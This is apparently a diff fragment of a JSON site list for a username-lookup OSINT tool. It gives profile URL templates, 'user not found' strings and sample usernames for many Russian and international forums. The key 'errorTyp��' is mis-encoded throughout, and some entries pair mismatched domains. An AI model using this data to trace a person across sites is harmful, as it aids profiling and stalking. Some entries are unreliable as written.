+ "urlMain": "https://onz-shot.3dn.ru",
+ "usernameON": "WezhewBlesy",
+ "bad_site": ""
+ },
+ "Forum_oopkmoskva": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://oopkmoskva.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://oopkmoskva.ucoz.ru",
+ "usernameON": "standartserves",
+ "bad_site": ""
+ },
+ "Forum_open-chess": {
+ "country": "🇬🇧",
+ "country_klas": "GB",
+ "errorMsg": "No suitable matches were found.",
+ "errorMsg2": "Information ",
+ "errorTyp��": "message",
+ "url": "https://www.open-chess.org/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://www.open-chess.org",
+ "usernameON": "karakaniec",
+ "bad_site": ""
+ },
+ "Forum_open_vanillaforums": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://open.vanillaforums.com/profile/{}",
+ "urlMain": "https://open.vanillaforums.com",
+ "usernameON": "haryono",
+ "bad_site": ""
+ },
+ "Forum_openai": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://community.openai.com/u/{}",
+ "urlMain": "https://community.openai.com",
+ "usernameON": "haktan",
+ "bad_site": ""
+ },
+ "Forum_openframeworks": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "url": "https://forum.openframeworks.cc/u/{}/summary",
+ "urlMain": "https://forum.openframeworks.cc",
+ "usernameON": "red",
+ "bad_site": ""
+ },
+ "Forum_opennebula": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://forum.inductiveautomation.com/u/{}/summary",
+ "urlMain": "https://forum.opennebula.io",
+ "usernameON": "vani161998",
+ "bad_site": ""
+ },
+ "Forum_openoffice": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "No suitable matches were found.",
+ "errorMsg2": "Information",
+ "errorTyp��": "message",
+ "url": "https://forum.openoffice.org/en/forum/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://forum.openoffice.org",
+ "usernameON": "Diane9576",
+ "bad_site": ""
+ },
+ "Forum_openstreetmap": {
+ "country": "🇫🇷",
+ "country_klas": "FR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forum.openstreetmap.fr/u/{}/summary",
+ "urlMain": "https://forum.openstreetmap.fr",
+ "usernameON": "gendy54",
+ "bad_site": ""
+ },
+ "Forum_opensuse": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forums.opensuse.org/u/{}/summary",
+ "urlMain": "https://forums.opensuse.org",
+ "usernameON": "someuser7852",
+ "bad_site": ""
+ },
+ "Forum_openwrt": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "data-preloaded=\"{"search":"{\\"posts\\":[],\\"users\\":[]",
+ "errorMsg2": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://forum.openwrt.org/search?q={}&search_type=users",
+ "urlMain": "https://forum.openwrt.org",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Forum_optima": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.optimaforums.com/members/?username={}",
+ "urlMain": "https://www.optimaforums.com",
+ "usernameON": "aiden15",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_optina": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "0 результатов",
+ "errorMsg2": "Пожалуйста, подождите",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://forum.optina.ru/search/?q={}&type=core_members",
+ "urlMain": "https://forum.optina.ru",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Forum_oranj": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://oranj.3dn.ru/index/8-0-{}",
+ "urlMain": "https://oranj.3dn.ru",
+ "usernameON": "kraudsmart803",
+ "bad_site": ""
+ },
+ "Forum_orbiter": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.orbiter-forum.com/members/?username={}",
+ "urlMain": "https://www.orbiter-forum.com/",
+ "usernameON": "dgatsoulis",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_orbito": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://orbito.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://orbito.ucoz.ru",
+ "usernameON": "keynbr",
+ "bad_site": ""
+ },
+ "Forum_orchideus": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://orchideus.ucoz.net/index/8-0-{}",
+ "urlMain": "http://orchideus.ucoz.net",
+ "usernameON": "Falcon",
+ "bad_site": ""
+ },
+ "Forum_ord": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://ord.at.ua/index/8-0-{}",
+ "urlMain": "https://ord.at.ua",
+ "usernameON": "thompson1986",
+ "bad_site": ""
+ },
+ "Forum_orelhunter": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "0 обнаружено совпадений всего на сайте",
+ "errorMsg2": "0 Ïîëüçîâàòåëè íàéäåíî",
+ "errorMsg3": "Аккаунт заблокирован",
+ "errorTyp��": "message",
+ "url": "https://www.orelhunter.ru/search.php?stext={}",
+ "urlMain": "https://www.orelhunter.ru",
+ "usernameON": "zevocixy",
+ "bad_site": ""
+ },
+ "Forum_org-invalid": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://org-invalid-sov.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://org-invalid-sov.ucoz.ru",
+ "usernameON": "Riminy",
+ "bad_site": ""
+ },
+ "Forum_originalpw": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "0 результатов",
+ "errorMsg2": "По вашему запросу ничего не найдено",
+ "errorTyp��": "message",
+ "url": "https://forum.originalpw.com/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://forum.originalpw.com",
+ "usernameON": "FIESTA",
+ "bad_site": ""
+ },
+ "Forum_orth": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "url": "https://orth.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://orth.ucoz.ru",
+ "usernameON": "svv",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_orthodox": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://orthodox.3dn.ru/index/8-0-{}",
+ "urlMain": "https://orthodox.3dn.ru",
+ "usernameON": "rob3k",
+ "bad_site": ""
+ },
+ "Forum_oscraps": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://oscraps.com/community/members/?username={}",
+ "urlMain": "https://oscraps.com",
+ "usernameON": "prospurring",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_oslobodjenje": {
+ "country": "🇪🇺",
+ "country_klas": "EU",
+ "errorMsg": "Ništa nije pronađeno.",
+ "errorMsg2": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://forum.sport1.oslobodjenje.ba/memberlist.php?username={}",
+ "urlMain": "https://forum.sport1.oslobodjenje.ba",
+ "usernameON": "ARBET",
+ "bad_site": ""
+ },
+ "Forum_ostrov": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://ostrov.ucoz.net/index/8-0-{}",
+ "urlMain": "https://ostrov.ucoz.net",
+ "usernameON": "DENI30S",
+ "bad_site": ""
+ },
+ "Forum_Oszone": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "http://forum.oszone.net/member.php?username={}",
+ "urlMain": "http://forum.oszone.net",
+ "usernameON": "adam",
+ "comments": "Oplata",
+ "bad_site": 1
+ },
+ "Forum_otelefonax": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://otelefonax.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://otelefonax.ucoz.ru",
+ "usernameON": "Christophernot",
+ "bad_site": ""
+ },
+ "Forum_otlichnica": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://otlichnica.ucoz.ru/index/8-0-{}",
+ "urlMain": "http://otlichnica.ucoz.ru/",
+ "usernameON": "iamlovergirl97",
+ "bad_site": ""
+ },
+ "Forum_otpm": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://otpm.do.am/index/8-0-{}",
+ "urlMain": "https://otpm.do.am",
+ "usernameON": "ua4lor",
+ "bad_site": ""
+ },
+ "Forum_otzyvby": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "не зарегистрирован",
+ "errorMsg2": "с вашего IP-адреса",
+ "errorTyp��": "message",
+ "url": "https://otzyv.ru/reguser.php?poisk={}",
+ "urlMain": "https://otzyv.ru",
+ "usernameON": "Elena31",
+ "bad_site": ""
+ },
+ "Forum_ourbeagleworld": {
+ "country": "🇨🇦",
+ "country_klas": "CA",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.ourbeagleworld.com/members/?username={}",
+ "urlMain": "https://www.ourbeagleworld.com",
+ "usernameON": "lovebeagles",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_ourdjtalk": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://ourdjtalk.com/djs/?username={}",
+ "urlMain": "https://ourdjtalk.com",
+ "usernameON": "spincin",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_ourflowers": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://ourflowers.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://ourflowers.ucoz.ru",
+ "usernameON": "kirikibus23",
+ "bad_site": ""
+ },
+ "Forum_ourperevoz": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://ourperevoz.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://ourperevoz.ucoz.ru",
+ "usernameON": "vilniy",
+ "bad_site": ""
+ },
+ "Forum_ourtravels": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Пожалуйста, подождите",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://ourtravels.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&sid=d95024f932e887fccc0e58315bcd2b5d&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA",
+ "urlMain": "https://ourtravels.ru/",
+ "usernameON": "Maria",
+ "bad_site": ""
+ },
+ "Forum_outdoors911": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "not registered ",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://www.outdoors911.com/reports/member.php?username={}",
+ "urlMain": "https://www.montanaowners.com",
+ "usernameON": "Legend1958",
+ "bad_site": ""
+ },
+ "Forum_outdoorsdirectory": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forums.outdoorsdirectory.com/members/?username={}",
+ "urlMain": "https://forums.outdoorsdirectory.com",
+ "usernameON": "leryt",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_outpostgallifrey": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://outpostgallifrey.com/members/?username={}",
+ "urlMain": "https://outpostgallifrey.com",
+ "usernameON": "rocco",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_ovcharka": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "К сожалению",
+ "errorMsg2": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://ovcharka.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top",
+ "urlMain": "https://ovcharka.kamrbb.ru",
+ "usernameON": "Tuadash",
+ "bad_site": ""
+ },
+ "Forum_over50schat": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://forum.over50schat.com/u/{}/summary",
+ "urlMain": "https://forum.over50schat.com",
+ "usernameON": "flowerpower",
+ "bad_site": ""
+ },
+ "Forum_overclock": {
+ "country": "🇨🇦",
+ "country_klas": "CA",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.overclock.net/members/?username={}",
+ "urlMain": "https://www.overclock.net/",
+ "usernameON": "chipp",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_Overclockers": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Не найдено ни одного пользователя",
+ "errorMsg2": "Пожалуйста, подождите",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://forums.overclockers.ru/memberlist.php?username={}",
+ "urlMain": "https://forums.overclockers.ru",
+ "usernameON": "patisson",
+ "bad_site": ""
+ },
+ "Forum_ovo": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://ovo.ucoz.ru/index/8-0-{}",
+ "urlMain": "http://ovo.ucoz.ru/",
+ "usernameON": "Vitu",
+ "bad_site": ""
+ },
+ "Forum_ovtsoft": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://ovtsoft.3dn.ru/index/8-0-{}",
+ "urlMain": "https://ovtsoft.3dn.ru",
+ "usernameON": "mpg25music",
+ "bad_site": ""
+ },
+ "Forum_paboma": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://paboma.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://paboma.ucoz.ru",
+ "usernameON": "paboma",
+ "bad_site": ""
+ },
+ "Forum_packer": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.packerforum.com/members/?username={}",
+ "urlMain": "https://www.packerforum.com",
+ "usernameON": "weeds",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_pagohku": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://pagohku.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://pagohku.ucoz.ru",
+ "usernameON": "askutov123",
+ "bad_site": ""
+ },
+ "Forum_paid-to-click": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://paid-to-click.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://paid-to-click.ucoz.ru",
+ "usernameON": "%D0%A8%D1%80%D1%83%D1%81",
+ "bad_site": ""
+ },
+ "Forum_palemoon": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "No suitable matches were found.",
+ "errorMsg2": "Pale Moon forum - Information ",
+ "errorTyp��": "message",
+ "url": "https://forum.palemoon.org/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://forum.palemoon.org",
+ "usernameON": "Moonchild",
+ "comments": "super",
+ "bad_site": 1
+ },
+ "Forum_palomniki": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "Ошибка",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://palomniki.su/forum/profile/user-8-0-{}",
+ "urlMain": "http://palomniki.su",
+ "usernameON": "rius",
+ "comments": "Oplata",
+ "bad_site": ""
+ },
+ "Forum_panda3d": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://panda3d.org.ru/index/8-0-{}",
+ "urlMain": "http://panda3d.org.ru",
+ "usernameON": "ninth",
+ "bad_site": ""
+ },
+ "Forum_pandawow": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "0 результатов",
+ "errorMsg2": "ipsAreaBackground_light ipsType_center ipsPad",
+ "errorTyp��": "message",
+ "url": "https://forum.pandawow.me/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://forum.pandawow.me",
+ "usernameON": "buka",
+ "bad_site": ""
+ },
+ "Forum_panigalev4club": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.panigalev4club.com/members/?username={}",
+ "urlMain": "https://www.panigalev4club.com/",
+ "usernameON": "admin",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_Panzer35": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://panzer35.ru/index/8-0-{}",
+ "urlMain": "http://panzer35.ru",
+ "usernameON": "Loki",
+ "bad_site": ""
+ },
+ "Forum_papillonomania": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr>403 Forbidden",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://papilon-falen.my1.ru/index/8-0-{}",
+ "urlMain": "https://papilon-falen.my1.ru",
+ "usernameON": "Антонитт",
+ "bad_site": ""
+ },
+ "Forum_paranormal-news": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403",
+ "errorTyp��": "message",
+ "url": "http://paranormal-news.ru/index/8-0-{}",
+ "urlMain": "http://paranormal-news.ru",
+ "usernameON": "aeroy",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_parasha": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://parasha.do.am/index/8-0-{}",
+ "urlMain": "https://parasha.do.am",
+ "usernameON": "maximumextreeme",
+ "bad_site": ""
+ },
+ "Forum_parents41": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "Сделать сайт просто",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://parents41.ru/index/8-0-{}",
+ "urlMain": "http://parents41.ru",
+ "usernameON": "Astary",
+ "comments": "bad",
+ "bad_site": 1
+ },
+ "Forum_parikmaher": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Найдено: 0 результатов",
+ "errorMsg2": "Результатов поиска нет",
+ "errorTyp��": "message",
+ "url": "https://parikmaher.net.ru/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://parikmaher.net.ru",
+ "usernameON": "sveta9630",
+ "bad_site": ""
+ },
+ "Forum_parrotpilots": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://parrotpilots.com/members/?username={}",
+ "urlMain": "https://parrotpilots.com",
+ "usernameON": "captainmavic",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_partsdr": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "not registered",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://forum.partsdr.com/member.php?username={}",
+ "urlMain": "https://forum.partsdr.com",
+ "usernameON": "Smarsh",
+ "bad_site": ""
+ },
+ "Forum_Partyanimals": {
+ "country": "🇸🇬",
+ "country_klas": "SG",
+ "errorTyp��": "status_code",
+ "url": "https://forum.partyanimals.com/u/{}",
+ "urlMain": "https://forum.partyanimals.com",
+ "usernameON": "HighJack",
+ "bad_site": ""
+ },
+ "Forum_pascalgamedevelopment": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "This user has not registered and therefore does not have a profile to view",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.pascalgamedevelopment.com/member.php?username={}",
+ "urlMain": "https://www.pascalgamedevelopment.com",
+ "usernameON": "hkhkqoo",
+ "bad_site": ""
+ },
+ "Forum_paulsat": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://paulsat.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://paulsat.ucoz.ru",
+ "usernameON": "roterb",
+ "bad_site": ""
+ },
+ "Forum_pavlovskyposad": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Павловский Посад.ру - Информация ",
+ "errorTyp��": "message",
+ "url": "http://forum.pavlovskyposad.ru/search.php?keywords=&terms=all&author={}",
+ "urlMain": "http://forum.pavlovskyposad.ru",
+ "usernameON": "zandr",
+ "bad_site": ""
+ },
+ "Forum_pbi": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://pbi.my1.ru/index/8-0-{}",
+ "urlMain": "https://pbi.my1.ru/",
+ "usernameON": "codeflare",
+ "bad_site": ""
+ },
+ "Forum_pcformat": {
+ "country": "🇵🇱",
+ "country_klas": "PL",
+ "errorTyp��": "status_code",
+ "url": "https://forum.pcformat.pl/{}-u",
+ "urlMain": "https://forum.pcformat.pl",
+ "usernameON": "raxer",
+ "bad_site": 1
+ },
+ "Forum_pcreview": {
+ "country": "🇬🇧",
+ "country_klas": "GB",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.pcreview.co.uk/members/?username={}",
+ "urlMain": "https://www.pcreview.co.uk",
+ "usernameON": "floppybootstomp",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_pedelecs": {
+ "country": "🇬🇧",
+ "country_klas": "GB",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.pedelecs.co.uk/forum/members/?username={}",
+ "urlMain": "https://www.pedelecs.co.uk",
+ "usernameON": "pedalfettal",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_peklama_3dn": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403",
+ "errorTyp��": "message",
+ "url": "https://peklama.3dn.ru/index/8-0-{}",
+ "urlMain": "https://peklama.3dn.ru",
+ "usernameON": "arman02151",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_pembrokcity": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr>403 Forbidden",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://www.mus-peredovaj.ru/index/8-0-{}",
+ "urlMain": "http://www.mus-peredovaj.ru",
+ "usernameON": "ivanovvv817",
+ "bad_site": ""
+ },
+ "Forum_pereval1959": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "К сожалению",
+ "errorMsg2": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://pereval1959.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top",
+ "urlMain": "https://pereval1959.kamrbb.ru",
+ "usernameON": "%CF%EE%F7%E5%EC%F3%F7%EA%E0",
+ "bad_site": ""
+ },
+ "Forum_perevodchik": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://perevodchik-s-s.do.am/index/8-0-{}",
+ "urlMain": "https://perevodchik-s-s.do.am",
+ "usernameON": "hvttalatathui11",
+ "comments": "cf",
+ "bad_site": ""
+ },
+ "Forum_perfect": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://perfect.ucoz.de/index/8-0-{}",
+ "urlMain": "http://perfect.ucoz.de",
+ "usernameON": "RomaOppop",
+ "bad_site": ""
+ },
+ "Forum_perfectweddings": {
+ "country": "🇸🇬",
+ "country_klas": "SG",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.perfectweddings.sg/weddingforum/members/?username={}",
+ "urlMain": "https://www.perfectweddings.sg",
+ "usernameON": "dipaa",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_pes_soccer": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://pes-files.ru/index/8-0-{}",
+ "urlMain": "https://pes-files.ru",
+ "usernameON": "Drobjij",
+ "bad_site": ""
+ },
+ "Forum_pet-s": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
